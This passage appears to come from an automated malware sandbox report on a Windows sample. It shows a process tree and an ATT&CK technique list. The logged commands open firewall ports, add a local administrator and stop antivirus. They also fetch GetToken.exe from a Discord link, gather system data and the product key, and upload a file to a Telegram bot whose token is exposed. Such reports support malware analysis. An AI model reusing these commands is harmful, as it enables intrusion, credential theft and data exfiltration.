    netsh advfirewall firewall add rule name="UDP Port 28854" dir=out action=allow protocol=UDP localport=7957
    3⤵
    PID:1584
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 24125" dir=in action=allow protocol=UDP localport=18512
    3⤵
    PID:5052
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 28854" dir=out action=allow protocol=UDP localport=7957
    3⤵
    PID:1212
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 24125" dir=in action=allow protocol=UDP localport=18512
    3⤵
    PID:1416
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 28854" dir=out action=allow protocol=UDP localport=7957
    3⤵
    PID:4456
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 24125" dir=in action=allow protocol=UDP localport=18512
    3⤵
    PID:3100
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 28854" dir=out action=allow protocol=UDP localport=7957
    3⤵
    PID:3976
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 24125" dir=in action=allow protocol=UDP localport=18512
    3⤵
    PID:1584
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 28854" dir=out action=allow protocol=UDP localport=7957
    3⤵
    PID:1988
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 24125" dir=in action=allow protocol=UDP localport=18512
    3⤵
    PID:4788
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 28854" dir=out action=allow protocol=UDP localport=7957
    3⤵
    PID:1952
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 24125" dir=in action=allow protocol=UDP localport=18512
    3⤵
    PID:3560
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 28854" dir=out action=allow protocol=UDP localport=7957
    3⤵
    PID:4448
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 24125" dir=in action=allow protocol=UDP localport=18512
    3⤵
    PID:4360
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 28854" dir=out action=allow protocol=UDP localport=7957
    3⤵
    PID:4048
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 24125" dir=in action=allow protocol=UDP localport=18512
    3⤵
    PID:4476
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 28854" dir=out action=allow protocol=UDP localport=7957
    3⤵
    PID:1760
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 24125" dir=in action=allow protocol=UDP localport=18512
    3⤵
    PID:1264
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 28854" dir=out action=allow protocol=UDP localport=7957
    3⤵
    PID:4656
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 24125" dir=in action=allow protocol=UDP localport=18512
    3⤵
    PID:1880
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 28854" dir=out action=allow protocol=UDP localport=7957
    3⤵
    PID:4888
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 24125" dir=in action=allow protocol=UDP localport=18512
    3⤵
    PID:5084
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 28854" dir=out action=allow protocol=UDP localport=7957
    3⤵
    PID:4472
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 24125" dir=in action=allow protocol=UDP localport=18512
    3⤵
    PID:3924
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K FuckPorts.cmd
  2⤵
  PID:2712
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -command "Set-ExecutionPolicy Unrestricted"
    3⤵
    PID:2136
- - C:\Windows\system32\net.exe
    net localgroup administrators session /ADD
    3⤵
    PID:3528
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 localgroup administrators session /ADD
      4⤵
      PID:5016
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 24125" dir=in action=allow protocol=UDP localport=18512
    3⤵
    PID:3556
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 28854" dir=out action=allow protocol=UDP localport=7957
    3⤵
    PID:4252
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 24125" dir=in action=allow protocol=UDP localport=18512
    3⤵
    PID:1868
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 28854" dir=out action=allow protocol=UDP localport=7957
    3⤵
    PID:1048
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 24125" dir=in action=allow protocol=UDP localport=18512
    3⤵
    PID:4092
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 28854" dir=out action=allow protocol=UDP localport=7957
    3⤵
    PID:3708
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 24125" dir=in action=allow protocol=UDP localport=18512
    3⤵
    PID:216
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 28854" dir=out action=allow protocol=UDP localport=7957
    3⤵
    PID:2400
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 24125" dir=in action=allow protocol=UDP localport=18512
    3⤵
    PID:2908
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 28854" dir=out action=allow protocol=UDP localport=7957
    3⤵
    PID:4024
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 24125" dir=in action=allow protocol=UDP localport=18512
    3⤵
    PID:3108
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 28854" dir=out action=allow protocol=UDP localport=7957
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2340
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 24125" dir=in action=allow protocol=UDP localport=18512
    3⤵
    PID:2908
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 28854" dir=out action=allow protocol=UDP localport=7957
    3⤵
    PID:2404
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 24125" dir=in action=allow protocol=UDP localport=18512
    3⤵
    PID:3844
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 28854" dir=out action=allow protocol=UDP localport=7957
    3⤵
    PID:4756
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 24125" dir=in action=allow protocol=UDP localport=18512
    3⤵
    PID:3644
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 28854" dir=out action=allow protocol=UDP localport=7957
    3⤵
    PID:1752
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 24125" dir=in action=allow protocol=UDP localport=18512
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:2320
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 28854" dir=out action=allow protocol=UDP localport=7957
    3⤵
    PID:1708
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 24125" dir=in action=allow protocol=UDP localport=18512
    3⤵
    PID:1728
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 28854" dir=out action=allow protocol=UDP localport=7957
    3⤵
    PID:1920
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 24125" dir=in action=allow protocol=UDP localport=18512
    3⤵
    PID:4116
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 28854" dir=out action=allow protocol=UDP localport=7957
    3⤵
    PID:4600
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 24125" dir=in action=allow protocol=UDP localport=18512
    3⤵
    PID:2356
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 28854" dir=out action=allow protocol=UDP localport=7957
    3⤵
    PID:2908
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 24125" dir=in action=allow protocol=UDP localport=18512
    3⤵
    PID:4244
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 28854" dir=out action=allow protocol=UDP localport=7957
    3⤵
    PID:2952
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 24125" dir=in action=allow protocol=UDP localport=18512
    3⤵
    PID:3168
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 28854" dir=out action=allow protocol=UDP localport=7957
    3⤵
    PID:320
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 24125" dir=in action=allow protocol=UDP localport=18512
    3⤵
    PID:4824
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 28854" dir=out action=allow protocol=UDP localport=7957
    3⤵
    PID:2952
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 24125" dir=in action=allow protocol=UDP localport=18512
    3⤵
    PID:3888
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 28854" dir=out action=allow protocol=UDP localport=7957
    3⤵
    PID:1348
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 24125" dir=in action=allow protocol=UDP localport=18512
    3⤵
    PID:4696
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 28854" dir=out action=allow protocol=UDP localport=7957
    3⤵
    PID:1356
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 24125" dir=in action=allow protocol=UDP localport=18512
    3⤵
    PID:1296
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 28854" dir=out action=allow protocol=UDP localport=7957
    3⤵
    PID:2496
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 24125" dir=in action=allow protocol=UDP localport=18512
    3⤵
    PID:816
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 28854" dir=out action=allow protocol=UDP localport=7957
    3⤵
    PID:4244
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 24125" dir=in action=allow protocol=UDP localport=18512
    3⤵
    PID:656
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 28854" dir=out action=allow protocol=UDP localport=7957
    3⤵
    PID:1920
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 24125" dir=in action=allow protocol=UDP localport=18512
    3⤵
    PID:2056
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 28854" dir=out action=allow protocol=UDP localport=7957
    3⤵
    PID:1956
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 24125" dir=in action=allow protocol=UDP localport=18512
    3⤵
    PID:4516
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 28854" dir=out action=allow protocol=UDP localport=7957
    3⤵
    PID:4256
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 24125" dir=in action=allow protocol=UDP localport=18512
    3⤵
    PID:4588
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 28854" dir=out action=allow protocol=UDP localport=7957
    3⤵
    PID:4892
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 24125" dir=in action=allow protocol=UDP localport=18512
    3⤵
    PID:2908
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 28854" dir=out action=allow protocol=UDP localport=7957
    3⤵
    PID:1532
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 24125" dir=in action=allow protocol=UDP localport=18512
    3⤵
    PID:1992
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 28854" dir=out action=allow protocol=UDP localport=7957
    3⤵
    PID:5052
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 24125" dir=in action=allow protocol=UDP localport=18512
    3⤵
    PID:4704
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 28854" dir=out action=allow protocol=UDP localport=7957
    3⤵
    PID:2348
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 24125" dir=in action=allow protocol=UDP localport=18512
    3⤵
    PID:4308
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 28854" dir=out action=allow protocol=UDP localport=7957
    3⤵
    PID:2476
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 24125" dir=in action=allow protocol=UDP localport=18512
    3⤵
    PID:1768
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 28854" dir=out action=allow protocol=UDP localport=7957
    3⤵
    PID:4576
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 24125" dir=in action=allow protocol=UDP localport=18512
    3⤵
    PID:732
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 28854" dir=out action=allow protocol=UDP localport=7957
    3⤵
    PID:2040
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 24125" dir=in action=allow protocol=UDP localport=18512
    3⤵
    PID:1384
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 28854" dir=out action=allow protocol=UDP localport=7957
    3⤵
    PID:5040
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 24125" dir=in action=allow protocol=UDP localport=18512
    3⤵
    PID:320
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 28854" dir=out action=allow protocol=UDP localport=7957
    3⤵
    PID:4476
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 24125" dir=in action=allow protocol=UDP localport=18512
    3⤵
    PID:3312
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 28854" dir=out action=allow protocol=UDP localport=7957
    3⤵
    PID:4472
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 24125" dir=in action=allow protocol=UDP localport=18512
    3⤵
    PID:1940
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 28854" dir=out action=allow protocol=UDP localport=7957
    3⤵
    PID:3100
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 24125" dir=in action=allow protocol=UDP localport=18512
    3⤵
    PID:3884
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 28854" dir=out action=allow protocol=UDP localport=7957
    3⤵
    PID:1264
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 24125" dir=in action=allow protocol=UDP localport=18512
    3⤵
    PID:1940
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 28854" dir=out action=allow protocol=UDP localport=7957
    3⤵
    PID:1868
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 24125" dir=in action=allow protocol=UDP localport=18512
    3⤵
    PID:3692
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 28854" dir=out action=allow protocol=UDP localport=7957
    3⤵
    PID:4272
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 24125" dir=in action=allow protocol=UDP localport=18512
    3⤵
    PID:4796
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 28854" dir=out action=allow protocol=UDP localport=7957
    3⤵
    PID:1572
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 24125" dir=in action=allow protocol=UDP localport=18512
    3⤵
    PID:3644
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 28854" dir=out action=allow protocol=UDP localport=7957
    3⤵
    PID:4244
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 24125" dir=in action=allow protocol=UDP localport=18512
    3⤵
    PID:1768
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 28854" dir=out action=allow protocol=UDP localport=7957
    3⤵
    PID:116
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 24125" dir=in action=allow protocol=UDP localport=18512
    3⤵
    PID:3644
- C:\Windows\System32\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\loveletter.vbs"
  2⤵
  PID:4552
- C:\Windows\System32\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\mail.vbs"
  2⤵
  PID:3104
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "(New-Object Net.WebClient).DownloadFile('https://cdn.discordapp.com/attachments/971160786015772724/971191444410875914/GetToken.exe', 'GetToken.exe')"
  2⤵
  PID:3708
- C:\Users\Admin\GetToken.exe
  GetToken.exe
  2⤵
  PID:4244
- C:\Windows\system32\curl.exe
  curl -s -o IP.txt https://ipv4.wtfismyip.com/text
  2⤵
  PID:2376
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Get-ItemProperty HKLM:\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\* | Select-Object DisplayName, DisplayVersion, Publisher, InstallDate | Format-Table >C:\Users\Admin\apps.txt"
  2⤵
  PID:3604
- C:\Windows\system32\ipconfig.exe
  ipconfig
  2⤵
  - Gathers network information
  PID:1296
- C:\Windows\system32\getmac.exe
  getmac
  2⤵
  PID:4996
- C:\Windows\System32\Wbem\WMIC.exe
  wmic cpu get caption, name, deviceid, numberofcores, maxclockspeed, status
  2⤵
  PID:5044
- C:\Windows\System32\Wbem\WMIC.exe
  wmic computersystem get totalphysicalmemory
  2⤵
  PID:2496
- C:\Windows\System32\Wbem\WMIC.exe
  wmic partition get name,size,type
  2⤵
  PID:1708
- C:\Windows\system32\systeminfo.exe
  systeminfo
  2⤵
  - Gathers system information
  PID:5068
- C:\Windows\System32\Wbem\WMIC.exe
  wmic path softwarelicensingservice get OA3xOriginalProductKey
  2⤵
  PID:3264
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Get-ComputerInfo"
  2⤵
  PID:1900
- C:\Windows\system32\tasklist.exe
  tasklist
  2⤵
  - Enumerates processes with tasklist
  PID:1412
- C:\Windows\system32\NOTEPAD.EXE
  "C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\userdata.txt
  2⤵
  - Opens file in notepad (likely ransom note)
  PID:748
- C:\Windows\system32\curl.exe
  curl -v -F document=@C:\Users\Admin\apps.txt https://api.telegram.org/bot5382169434:AAFYrP7AuQ_-UWP0BUDD5454RCW7BJ2-rQM/sendDocument?chat_id=-655682538
  2⤵
  PID:2136

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop "norton AntiVirus Auto Protect Service" /y
1⤵
PID:3952

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s NetSetupSvc
1⤵
PID:3140

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k WerSvcGroup
1⤵
PID:2664

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Command-Line Interface

T1059

Persistence

Account Manipulation

T1098

Modify Existing Service

T1031

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Account Manipulation

T1098

Discovery

Process Discovery

T1057

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...